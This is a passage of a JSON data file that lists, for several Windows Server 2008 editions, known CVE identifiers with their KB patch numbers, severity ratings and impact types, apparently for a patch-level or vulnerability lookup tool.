Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for 32-bit Systems (Server Core installation)":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2506212","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2898855","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197655","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3198234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012583","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4018556","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019204","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041671","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8462","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4021903","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022010","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4022748","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4039384","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038874","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4039038","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056615","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056759","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4101477","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4056564","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093478","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4131188","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4134651","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4463097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4458010","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467706","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467706","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4134651","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480968","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499149","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493471","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534303","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537810","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541506","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571730","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571730","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003210","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003210","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003661","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5004955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005090","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005563","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006736","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-20569","kb":"5029318","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026408","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028222","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041850","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043135","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048710","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24985","kb":"5053888","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053888","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055609","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058449","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058449","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061026","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063888","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063888","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2506212","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126041","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-7255","kb":"3198234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012583","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4018556","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019204","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041671","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4052303","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8469","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022010","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4022748","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4039384","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4039384","severity":"Important","impact":"Information 